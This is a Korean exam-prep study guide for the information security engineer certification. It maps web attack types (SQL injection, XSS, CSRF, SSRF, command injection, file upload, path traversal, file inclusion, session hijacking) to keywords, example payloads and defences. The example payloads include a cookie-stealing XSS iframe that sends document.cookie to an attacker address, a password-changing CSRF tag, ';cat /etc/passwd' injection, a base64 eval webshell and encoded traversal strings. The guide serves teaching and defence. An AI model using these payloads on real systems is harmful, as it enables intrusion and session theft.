2026 정보보안기사 핵심정리
WEB APPLICATION
ATTACK GUIDE
공격 유형별 핵심 키워드 매핑 + 실제 예시로 완전 정복
출제 빈도 높은 취약점을 직관적으로 이해한다
SQL Injection
XSS
CSRF
SSRF
File Upload
Path Traversal
File Inclusion
Command Injection
Session Hijacking
01
SQL Injection 취약점
INPUT → DB QUERY MANIPULATION
사용자 입력값이 SQL 쿼리에 그대로 삽입될 때, 악의적인 SQL 구문을 끼워 넣어 인증 우회·데이터 탈취·DB 조작을 유발하는 공격.
🔑 핵심 키워드 매핑
‘ or 1=1#
WHERE절 항상 참
인증 우회
UNION SELECT
컬럼 개수 일치
ORDER BY
Blind SQL Injection
참/거짓 반응
substr / limit
Prepared Statement
magic_quotes_gpc
mysql_real_escape_string
xp_cmdshell
xp_dirtree
Stored Procedure
① Form SQL Injection (인증 우회)
최빈출
아이디 입력
→
악의적 SQL 삽입
→
WHERE절 항상 참
→
첫번째 레코드로 로그인 성공
실제 공격 예시
🔴 공격 입력값
아이디 필드에 입력
‘ or 1=1#// 실제 실행되는 SQL:
SELECT id, pass FROM member
WHERE id=” or 1=1#
‘ AND pass=’1234’
// # 이후는 주석처리됨!
// 1=1 항상 참 → 전체 레코드 반환
// → admin 계정으로 로그인 성공
🟢 방어 (Prepared Statement)
// ? 자리에 바인딩만 할 뿐
// 쿼리 구조는 변경 불가!
$stmt = $conn->prepare(
“SELECT id FROM member
WHERE id=? AND pass=?”
);
$stmt->bind_param(“ss”,
$id, $pass
);
// 공격 문자열도 그냥 id값으로만 처리
// 쿼리 구조는 변경 불가!
$stmt = $conn->prepare(
“SELECT id FROM member
WHERE id=? AND pass=?”
);
$stmt->bind_param(“ss”,
$id, $pass
);
// 공격 문자열도 그냥 id값으로만 처리
DB별 주석 문자 차이 — MySQL:
시험에서 주석 문자가 어떤 DB인지 묻는 문제 자주 출제!
# 또는 /* */ | MS-SQL / Oracle: -- 또는 /* */시험에서 주석 문자가 어떤 DB인지 묻는 문제 자주 출제!
② Union SQL Injection (데이터 추출)
빈출
핵심 조건: 앞뒤 SELECT의 컬럼 개수가 동일해야 함. ORDER BY로 컬럼 개수 파악 후 공격!
컬럼 개수 파악 → 공격 순서
— 1단계: ORDER BY로 컬럼 수 파악id=‘ order by 3# → 정상 (컬럼 3개 이상)
id=‘ order by 4# → 에러! “Unknown column ‘4’”
→ 컬럼이 3개임을 확인
— 2단계: UNION으로 비밀번호 위조 후 로그인
id=‘ union select ‘admin’,’admin’,’admin’#
SELECT id, pass, nick FROM member
WHERE id=” ← 원래 결과: 없음
UNION SELECT ‘admin’,’admin’,’admin’#
↳ 결과: admin / admin / admin 반환됨!
↳ 비밀번호 admin으로 로그인 성공
③ Blind SQL Injection (에러 없이 데이터 추출)
| 구분 | Error-Based | Blind SQL Injection |
|---|---|---|
| 에러 메시지 | 에러 메시지 노출됨 | 에러 없음 — 참/거짓 반응만 이용 |
| 작동 방식 | 에러값에서 DB정보 추출 | 페이지 반응 차이로 한 글자씩 추측 |
| 핵심 함수 | HAVING, GROUP BY | substr() limit ascii() |
| 대응 | 에러 메시지 숨기기 | 에러 숨겨도 취약 — Prepared Statement 필수 |
Blind SQL Injection 예시 — 테이블명 한글자씩 추측
— information_schema로 테이블 이름 첫 글자 추측substr((select table_name from information_schema.tables
where table_type=‘base table’ limit 0,1),1,1) = ‘a’
→ 참이면 게시글 나옴, 거짓이면 안 나옴
→ a, b, c, d… 반복하다가 ‘d’에서 참 → 첫 글자 d
→ 이 과정을 자동화: SQLMap 도구 사용
④ Stored Procedure / Mass SQL Injection
| 유형 | 핵심 키워드 | 공격 내용 |
|---|---|---|
| Stored Procedure | xp_dirtree xp_cmdshell 세미콜론(;) | MS-SQL 확장 프로시저로 OS 명령 실행 (파일 목록 조회, 레지스트리 수정) |
| Mass SQL Injection | 대량 DB 변조 <script src=…> | 한 번 공격으로 DB 전체 문자형 컬럼에 악성 스크립트 삽입 → 방문자 감염 |
02
XSS (크로스 사이트 스크립팅)
Cross Site Script — COOKIE THEFT / CLIENT ATTACK
공격자가 악성 스크립트를 웹 페이지에 삽입하여, 피해자가 해당 페이지를 방문할 때 스크립트가 피해자 브라우저에서 실행되는 공격.
🔑 핵심 키워드 매핑
<script>alert(document.cookie)</script>
쿠키 탈취
게시판 DB 저장
Stored XSS
URL 파라미터
Reflected XSS
DOM 조작
DOM based XSS
htmlspecialchars()
HTML Entity 변환
서버 측 검증
| 유형 | 스크립트 저장 위치 | 공격 흐름 | 핵심 차이 |
|---|---|---|---|
| Stored XSS 저장형 |
DB에 영구 저장 | 공격자 게시글 등록 → DB 저장 → 피해자 클릭 → 스크립트 실행 | 한 번 올리면 지속 공격 가능 |
| Reflected XSS 반사형 |
DB 저장 안 함 | 악성 링크 전송(이메일) → 피해자 클릭 → URL 파라미터가 그대로 응답에 반영 | DB에 저장 안 됨, 링크 클릭 유도 필요 |
| DOM based XSS DOM기반 |
서버 응답 없음 | 정상 스크립트가 DOM 처리 중 URL의 악성 파라미터를 실행 | 서버와 무관 — 응답 페이지가 정상이어도 발생 |
실제 공격 예시 — Stored XSS로 쿠키 탈취
① 공격자가 게시판에 등록하는 내용
<!– 게시글 내용에 iframe 삽입 –><iframe width=“0” height=“0”
src=“javascript:document.location.href=
‘http://192.168.254.1/hacker/attack.php
?cookie=’+document.cookie”></iframe>
// 피해자가 게시글 열면…
// 피해자 PHPSESSID가 공격자 서버로 전송됨!
② 공격자 서버 로그 (쿠키 수집)
[attack] 192.168.254.1 /hacker/attack.php
?cookie=PHPSESSID=lds7ts4r7eg6frjjrt2j08qa5
③ 탈취된 세션 ID로 다른 브라우저에서 admin 로그인 성공!
방어 — HTML Entity 변환
🔴 위험한 특수문자 그대로
< → HTML 태그 시작
> → HTML 태그 종료
“ → 속성값 구분
‘ → 속성값 구분
> → HTML 태그 종료
“ → 속성값 구분
‘ → 속성값 구분
🟢 Entity로 무력화
< → < 그냥 텍스트로
> → > 그냥 텍스트로
" → ” 무력화
' → ‘ 무력화
> → > 그냥 텍스트로
" → ” 무력화
' → ‘ 무력화
PHP에서
XSS 대응의 핵심: 서버 측 검증 필수 (클라이언트 측 JS 검증은 Web Proxy로 우회 가능)
htmlspecialchars($content, ENT_QUOTES) 함수 사용 → <, >, &, “, ‘ 를 자동으로 Entity 변환XSS 대응의 핵심: 서버 측 검증 필수 (클라이언트 측 JS 검증은 Web Proxy로 우회 가능)
03
CSRF (크로스 사이트 요청 위조)
Cross Site Request Forgery — VICTIM ACTS UNKNOWINGLY
피해자가 로그인된 상태에서 공격자의 악의적인 요청을 자신도 모르게 전송하도록 유도. 피해자의 권한으로 작업이 실행됨.
🔑 핵심 키워드 매핑
피해자 의도와 무관하게 요청 전송
비밀번호 변경 / 계정정보 변조
<img src=”조작URL”>
GET/POST 위조 요청
CSRF Token
랜덤 토큰 비교
재인증
중요 기능 재확인
🔴 CSRF vs XSS 차이 — 혼동 주의!
- XSS: 피해자 브라우저에서 스크립트 실행 → 클라이언트 공격
- CSRF: 피해자 권한으로 서버에 요청 전송 → 서버 측 요청 위조
- XSS는 스크립트 실행이 목적, CSRF는 요청 위조가 목적
🟢 CSRF vs SSRF 차이
- CSRF: 조작된 요청 발생 주체 = 클라이언트(피해자)
- SSRF: 조작된 요청 발생 주체 = 웹서버(내부)
- SSRF는 서버가 내부 네트워크로 요청을 보내도록 유도
실제 공격 예시 — 비밀번호 몰래 변경
공격자가 게시판에 img 태그로 위조 요청 삽입
<!– 게시글 내용에 이걸 삽입 –><img src=“http://victim-site.com/member/modify.php
?pass=admin123
&pass_confirm=admin123″
width=”1″ height=”1″>
// 피해자(로그인 상태)가 이 게시글을 열면…
// 브라우저가 자동으로 위 URL에 GET 요청 전송
// 피해자는 비밀번호가 변경된 줄도 모름!
// 방어: CSRF Token 검증
// 서버에서 세션에 저장된 토큰값 = 요청에 포함된 토큰값 비교
// 다르면 → 위조 요청으로 판단하여 차단
04
SSRF (서버 사이드 요청 위조)
Server Side Request Forgery — INTERNAL NETWORK BYPASS
웹서버가 외부 URL을 fetch할 때, 공격자가 URL을 조작하여 내부 네트워크 서비스에 접근하게 만드는 공격.
🔑 핵심 키워드 매핑
내부 네트워크 접근
내부 서버 정보 탈취
url 파라미터 조작
이미지 서버 요청
화이트리스트 필터링
내부 서비스 차단
정상 요청 → 조작된 요청
// 정상: 이미지 서버에서 과일 이미지 로드?url=http://img.algisa.com/fruitImg/apple.png
// 공격: url 파라미터를 내부 서버 주소로 교체
?url=http://img.algisa.com/custImg/2022001.png
↑ 내부 이미지 서버의 고객 정보 이미지 탈취 가능!
// 더 나아가면: 완전히 내부 서비스 URL로 교체
?url=http://192.168.1.100/admin/config
// 외부에서 접근 불가한 내부 관리자 페이지 접근!
CSRF와의 핵심 차이: CSRF는 피해자(클라이언트)가 요청 발생 주체, SSRF는 웹서버가 요청 발생 주체.
대응: URL 입력값에 화이트리스트 정책 적용 + 내부 네트워크 서비스 간 인증 확인
대응: URL 입력값에 화이트리스트 정책 적용 + 내부 네트워크 서비스 간 인증 확인
05
OS Command Injection (운영체제 명령 실행)
OS COMMAND EXECUTION — SERVER SHELL ACCESS
웹 애플리케이션이 시스템 명령어를 실행할 때, 입력값에 OS 명령어를 삽입하여 서버에서 임의 명령 실행.
🔑 핵심 키워드 매핑
세미콜론(;)
파이프(|)
&&
명령 연속 실행
cat /etc/passwd
shell_exec()
system()
exec()
블랙리스트 필터링
명령어 화이트리스트
실제 공격 — Ping 폼에 명령 삽입
// 정상 사용: Ping 테스트 폼에 IP 입력?ip=127.0.0.1
→ 실행: ping -c 4 127.0.0.1
// 공격: 세미콜론으로 명령 연결
?ip=127.0.0.1;cat /etc/passwd
→ 실행: ping -c 4 127.0.0.1; cat /etc/passwd
→ /etc/passwd 내용 브라우저에 출력!
// 명령 연결 연산자 종류
명령1 ; 명령2 → 앞 결과 무관 항상 명령2 실행
명령1 && 명령2 → 앞이 성공해야 명령2 실행
명령1 || 명령2 → 앞이 실패해야 명령2 실행
명령1 | 명령2 → 앞 결과를 명령2 stdin으로 전달
Stored Procedure의 xp_cmdshell(MS-SQL) / xp_dirtree도 OS Command Injection의 일종.
세미콜론(;)으로 연속 명령 실행하는 패턴이 핵심 키워드!
세미콜론(;)으로 연속 명령 실행하는 패턴이 핵심 키워드!
06
파일 업로드 취약점
FILE UPLOAD — WEBSHELL EXECUTION
파일 업로드 기능에서 확장자/MIME 타입 검증 없이 서버 사이드 스크립트(.php 등)가 업로드되어 서버에서 임의 코드 실행.
🔑 핵심 키워드 매핑
웹셸(Webshell)
.php 파일 업로드
서버 사이드 스크립트
MIME 타입 검증
Content-Type: image/gif
파일 확장자 우회
화이트리스트 확장자
.htaccess
AddType
AllowOverride
LimitRequestBody
공격 흐름 — 웹셸 업로드
// 1단계: webshell.php 파일 업로드 시도Content-Disposition: form-data; name=”upfile[]”;
filename=“webshell.php”
Content-Type: application/octet-stream
<?php eval(base64_decode(‘…악성코드…’)); ?>
// 2단계: 업로드 성공 후 URL로 직접 접근
http://victim.com/upload/data/webshell.php
→ 서버에서 PHP 실행 → 시스템 명령 가능!
// 우회 방법: Content-Type 헤더 변조
Content-Type: application/octet-stream
→ 변조 →
Content-Type: image/gif (MIME만 바꿈)
→ MIME만 체크하는 경우 통과!
안전한 방어 단계 (3단계)
| 단계 | 방어 방법 | 핵심 설정 |
|---|---|---|
| 1단계 | MIME 타입 화이트리스트 | image/gif, image/jpeg, image/png만 허용 |
| 2단계 | MIME + 확장자 모두 검증 | 두 가지 동시 체크 → 우회 방지 |
| 3단계 | .htaccess로 PHP 실행 차단 | AddType text/html .php .php3 .php4 → PHP가 HTML로 처리 |
07
경로 추적 (Path Traversal)
DIRECTORY TRAVERSAL — ../ TO ROOT
파일명/경로 파라미터를 ../로 조작하여 웹 루트 이상의 상위 디렉터리로 거슬러 올라가 시스템 파일에 접근하는 공격.
🔑 핵심 키워드 매핑
../
..\ (윈도우)
/etc/passwd 접근
%2e%2e%2f (URL 인코딩)
%252e%252e%252f (이중 인코딩)
Directory Traversal
fname 파라미터
chroot
웹 루트로 최상위 제한
공격 예시 — 경로 조작으로 시스템 파일 접근
// 정상 요청?fname=apple → fruitHtml/apple.html 로드
// 공격: ../ 반복으로 웹 루트 이탈
?fname=../../../etc/passwd
→ /etc/passwd 내용 노출!
// 인코딩 우회 (필터를 피하기 위해)
?fname=..%2f..%2f..%2fetc%2fpasswd (URL 인코딩)
?fname=..%252f..%252f..%252fetc%252fpasswd (이중 인코딩)
?fname=..%u002e%u2215..%u2215etc%u2215passwd (유니코드)
// 안전한 치환 방어의 함정
fname=….//….//….//etc/passwd
→ “../”를 “”로 치환하면 → ../../../etc/passwd 공격 성공!
→ 반복 치환이 아닌 화이트리스트 방식 사용해야 함
08
파일 삽입 (File Inclusion)
LFI / RFI — INCLUDE REMOTE WEBSHELL
include() 함수에 외부 입력이 그대로 사용될 때, 로컬 또는 원격 악성 파일을 include하여 실행하는 공격.
🔑 핵심 키워드 매핑
LFI (Local File Inclusion)
RFI (Remote File Inclusion)
include($target)
fname 파라미터
allow_url_fopen = Off
php.ini 설정
외부 URL include 차단
| 유형 | 공격 대상 | 예시 |
|---|---|---|
| LFI | 서버 내 로컬 파일 | fname=../../../etc/passwd → Path Traversal + LFI 결합 |
| RFI | 외부 서버의 악성 파일 | fname=http://공격자서버/webshell.php → 원격 웹셸 실행 |
Path Traversal vs LFI 차이:
Path Traversal = 파일 읽기 (내용 출력)
LFI = 파일을 PHP로 실행 (코드 실행) → 웹셸 실행 가능
방어: php.ini에서
Path Traversal = 파일 읽기 (내용 출력)
LFI = 파일을 PHP로 실행 (코드 실행) → 웹셸 실행 가능
방어: php.ini에서
allow_url_fopen = Off 설정09
세션/쿠키 관련 취약점
SESSION HIJACKING / COOKIE THEFT
탈취된 세션 ID로 피해자의 로그인 상태를 가로채거나, 쿠키 변조로 권한을 상승시키는 공격.
🔑 핵심 키워드 매핑
HTTP Session Hijacking
PHPSESSID 탈취
session.gc_maxlifetime
세션 타임아웃
HttpOnly 속성
Secure 속성
랜덤 세션 ID 발급
로그인마다 새 세션
XSS로 세션 탈취 → 세션 하이재킹 흐름
// 1. XSS로 피해자 쿠키 탈취 (앞서 설명)PHPSESSID=lds7ts4r7eg6frjjrt2j08qa5
// 2. 다른 브라우저에서 쿠키에 탈취한 값 삽입
Edit Cookie → PHPSESSID = [탈취값]
→ admin으로 로그인 성공!
// 방어 1: HttpOnly 속성 → JS로 쿠키 접근 불가
session.cookie_httponly = 1
// 방어 2: Secure 속성 → HTTPS에서만 쿠키 전송
session.cookie_secure = 1
// 방어 3: 세션 타임아웃 설정
session.gc_maxlifetime = 600 (10분)
⚡ 전체 공격 비교표 — 시험 직전 최종 정리
헷갈리는 공격 차이점과 핵심 키워드를 한눈에
| 공격 | 공격 대상 | 핵심 메커니즘 | 결정적 키워드 | 방어 핵심 |
|---|---|---|---|---|
| SQL Injection | 데이터베이스 | SQL 쿼리 구조 변조 | ' or 1=1#, UNION, Blind |
Prepared Statement |
| XSS | 피해자 브라우저 | 악성 스크립트 삽입 → 클라이언트 실행 | <script>, 쿠키 탈취, Stored/Reflected/DOM | htmlspecialchars(), 서버 검증 |
| CSRF | 서버 (피해자 권한으로) | 피해자가 의도 없이 요청 전송 | <img src=조작URL>, 요청 위조 | CSRF Token, 재인증 |
| SSRF | 내부 서버/네트워크 | 웹서버가 내부로 요청 | url 파라미터, 내부 네트워크 접근 | 화이트리스트 URL 필터링 |
| OS Command | 서버 OS | 시스템 명령어 삽입 실행 | ; | &&, cat /etc/passwd | 명령어 화이트리스트 |
| File Upload | 서버 (파일 실행) | 웹셸 업로드 후 URL로 실행 | webshell.php, MIME 우회, .htaccess | 확장자+MIME 화이트리스트 |
| Path Traversal | 서버 파일시스템 | ../ 로 상위 디렉터리 접근 | ../../../etc/passwd, %2e%2e%2f | chroot, 웹루트 이상 접근 차단 |
| File Inclusion | 서버 (원격 코드 실행) | include()로 악성 파일 실행 | LFI, RFI, allow_url_fopen | allow_url_fopen=Off |
| Session Hijacking | 세션/쿠키 | 세션ID 탈취 후 재사용 | PHPSESSID, HTTP Hijacking | HttpOnly, Secure, 랜덤 세션ID |
⚡ 자주 헷갈리는 3가지 비교
🟡 XSS
- 스크립트가 피해자 브라우저에서 실행
- 쿠키/세션 탈취, 악성코드 감염
- 공격 결과물: 클라이언트 측 피해
🟣 CSRF
- 피해자가 서버에 위조 요청을 전송
- 비밀번호 변경, 계정정보 변조
- 요청 발생 주체: 클라이언트(피해자)
🟢 SSRF
- 서버가 내부 시스템에 위조 요청 전송
- 내부 네트워크 정보 탈취
- 요청 발생 주체: 웹서버

